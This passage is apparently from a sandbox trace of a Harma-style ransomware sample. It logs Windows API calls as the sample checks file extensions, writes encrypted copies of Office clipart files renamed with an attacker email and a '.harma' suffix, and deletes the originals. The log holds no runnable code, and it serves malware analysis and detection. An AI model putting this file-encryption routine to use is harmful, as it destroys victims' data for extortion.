(lpString1=".7z", lpString2="WMF") returned -1 [0158.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.832] lstrlenW (lpString=".dbf") returned 4 [0158.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.832] lstrlenW (lpString=".1cd") returned 4 [0158.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.832] lstrlenW (lpString=".jpg") returned 4 [0158.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.832] lstrlenW (lpString=".doc") returned 4 [0158.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.832] lstrlenW (lpString=".docx") returned 5 [0158.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.832] lstrlenW (lpString=".pdf") returned 4 [0158.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.832] lstrlenW (lpString=".xls") returned 4 [0158.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.832] lstrlenW (lpString=".xlsx") returned 5 [0158.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.832] lstrlenW (lpString=".ppt") returned 4 [0158.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.832] lstrlenW (lpString=".zip") returned 4 [0158.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.832] lstrlenW (lpString=".rar") returned 4 [0158.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.832] lstrlenW (lpString=".bz2") returned 4 [0158.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.833] lstrlenW (lpString=".7z") returned 3 [0158.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.833] lstrlenW (lpString=".dbf") returned 4 [0158.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.833] lstrlenW (lpString=".1cd") returned 4 [0158.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.833] lstrlenW (lpString=".jpg") returned 4 [0158.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.833] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.833] lstrlenW (lpString="HH02298_.WMF") returned 12 [0158.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0158.912] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=5552) returned 1 [0158.912] CloseHandle (hObject=0x388) returned 1 [0158.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x20 [0158.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0158.980] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.980] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0158.981] GetLastError () returned 0x0 [0158.981] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x15b0, lpOverlapped=0x0) returned 1 [0158.983] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0158.984] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.984] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.984] SetEndOfFile (hFile=0x37c) returned 1 [0158.984] CloseHandle (hObject=0x37c) returned 1 [0158.984] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.984] SetEndOfFile (hFile=0x334) returned 1 [0158.986] CloseHandle (hObject=0x334) returned 1 [0158.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0158.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.987] lstrlenW (lpString=".doc") returned 4 [0158.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.988] lstrlenW (lpString=".docx") returned 5 [0158.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.988] lstrlenW (lpString=".pdf") returned 4 [0158.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.988] lstrlenW (lpString=".xls") returned 4 [0158.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.988] lstrlenW (lpString=".xlsx") returned 5 [0158.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.988] lstrlenW (lpString=".ppt") returned 4 [0158.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.988] lstrlenW (lpString=".zip") returned 4 [0158.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.988] lstrlenW (lpString=".rar") returned 4 [0158.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.988] lstrlenW (lpString=".bz2") returned 4 [0158.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.988] lstrlenW (lpString=".7z") returned 3 [0158.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.988] lstrlenW (lpString=".dbf") returned 4 [0158.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.988] lstrlenW (lpString=".1cd") returned 4 [0158.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.988] lstrlenW (lpString=".jpg") returned 4 [0158.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.989] lstrlenW (lpString=".doc") returned 4 [0158.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.989] lstrlenW (lpString=".docx") returned 5 [0158.989] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.989] lstrlenW (lpString=".pdf") returned 4 [0158.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.989] lstrlenW (lpString=".xls") returned 4 [0158.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.989] lstrlenW (lpString=".xlsx") returned 5 [0158.989] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.989] lstrlenW (lpString=".ppt") returned 4 [0158.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.989] lstrlenW (lpString=".zip") returned 4 [0158.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.989] lstrlenW (lpString=".rar") returned 4 [0158.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.989] lstrlenW (lpString=".bz2") returned 4 [0158.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.989] lstrlenW (lpString=".7z") returned 3 [0158.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.989] lstrlenW (lpString=".dbf") returned 4 [0158.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.990] lstrlenW (lpString=".1cd") returned 4 [0158.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0158.990] lstrlenW (lpString=".jpg") returned 4 [0158.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.990] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.990] lstrlenW (lpString="HM00114_.WMF") returned 12 [0158.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0158.991] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=22116) returned 1 [0158.991] CloseHandle (hObject=0x37c) returned 1 [0158.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x20 [0158.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0158.992] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.992] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.993] GetLastError () returned 0x0 [0158.993] ReadFile (in: hFile=0x37c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x5664, lpOverlapped=0x0) returned 1 [0158.995] WriteFile (in: hFile=0x348, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5670, lpOverlapped=0x0) returned 1 [0158.996] ReadFile (in: hFile=0x37c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.996] WriteFile (in: hFile=0x348, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.997] SetEndOfFile (hFile=0x348) returned 1 [0158.997] CloseHandle (hObject=0x348) returned 1 [0158.997] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.997] SetEndOfFile (hFile=0x37c) returned 1 [0158.999] CloseHandle (hObject=0x37c) returned 1 [0158.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0159.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.000] lstrlenW (lpString=".doc") returned 4 [0159.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.000] lstrlenW (lpString=".docx") returned 5 [0159.000] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.000] lstrlenW (lpString=".pdf") returned 4 [0159.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.000] lstrlenW (lpString=".xls") returned 4 [0159.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.001] lstrlenW (lpString=".xlsx") returned 5 [0159.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.001] lstrlenW (lpString=".ppt") returned 4 [0159.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.001] lstrlenW (lpString=".zip") returned 4 [0159.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.001] lstrlenW (lpString=".rar") returned 4 [0159.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.001] lstrlenW (lpString=".bz2") returned 4 [0159.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.001] lstrlenW (lpString=".7z") returned 3 [0159.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.001] lstrlenW (lpString=".dbf") returned 4 [0159.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.001] lstrlenW (lpString=".1cd") returned 4 [0159.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.001] lstrlenW (lpString=".jpg") returned 4 [0159.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.001] lstrlenW (lpString=".doc") returned 4 [0159.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.001] lstrlenW (lpString=".docx") returned 5 [0159.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.001] lstrlenW (lpString=".pdf") returned 4 [0159.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.002] lstrlenW (lpString=".xls") returned 4 [0159.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.002] lstrlenW (lpString=".xlsx") returned 5 [0159.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.002] lstrlenW (lpString=".ppt") returned 4 [0159.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.002] lstrlenW (lpString=".zip") returned 4 [0159.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.002] lstrlenW (lpString=".rar") returned 4 [0159.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.002] lstrlenW (lpString=".bz2") returned 4 [0159.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.002] lstrlenW (lpString=".7z") returned 3 [0159.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.002] lstrlenW (lpString=".dbf") returned 4 [0159.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.002] lstrlenW (lpString=".1cd") returned 4 [0159.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0159.002] lstrlenW (lpString=".jpg") returned 4 [0159.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.002] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.002] lstrlenW (lpString="HM00116_.WMF") returned 12 [0159.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0159.003] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=15852) returned 1 [0159.003] CloseHandle (hObject=0x37c) returned 1 [0159.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x20 [0159.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0159.004] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.004] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.006] GetLastError () returned 0x0 [0159.006] ReadFile (in: hFile=0x37c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x3dec, lpOverlapped=0x0) returned 1 [0159.008] WriteFile (in: hFile=0x348, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3df0, lpOverlapped=0x0) returned 1 [0159.009] ReadFile (in: hFile=0x37c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.009] WriteFile (in: hFile=0x348, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.009] SetEndOfFile (hFile=0x348) returned 1 [0159.009] CloseHandle (hObject=0x348) returned 1 [0159.009] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.009] SetEndOfFile (hFile=0x37c) returned 1 [0159.012] CloseHandle (hObject=0x37c) returned 1 [0159.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0159.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.013] lstrlenW (lpString=".doc") returned 4 [0159.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.013] lstrlenW (lpString=".docx") returned 5 [0159.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.013] lstrlenW (lpString=".pdf") returned 4 [0159.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.013] lstrlenW (lpString=".xls") returned 4 [0159.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.013] lstrlenW (lpString=".xlsx") returned 5 [0159.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.013] lstrlenW (lpString=".ppt") returned 4 [0159.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.013] lstrlenW (lpString=".zip") returned 4 [0159.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.013] lstrlenW (lpString=".rar") returned 4 [0159.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.013] lstrlenW (lpString=".bz2") returned 4 [0159.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.013] lstrlenW (lpString=".7z") returned 3 [0159.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.013] lstrlenW (lpString=".dbf") returned 4 [0159.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.013] lstrlenW (lpString=".1cd") returned 4 [0159.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0159.013] lstrlenW (lpString=".jpg") returned 4 [0159.013] lstrcmpiW (lpString1=".jpg", 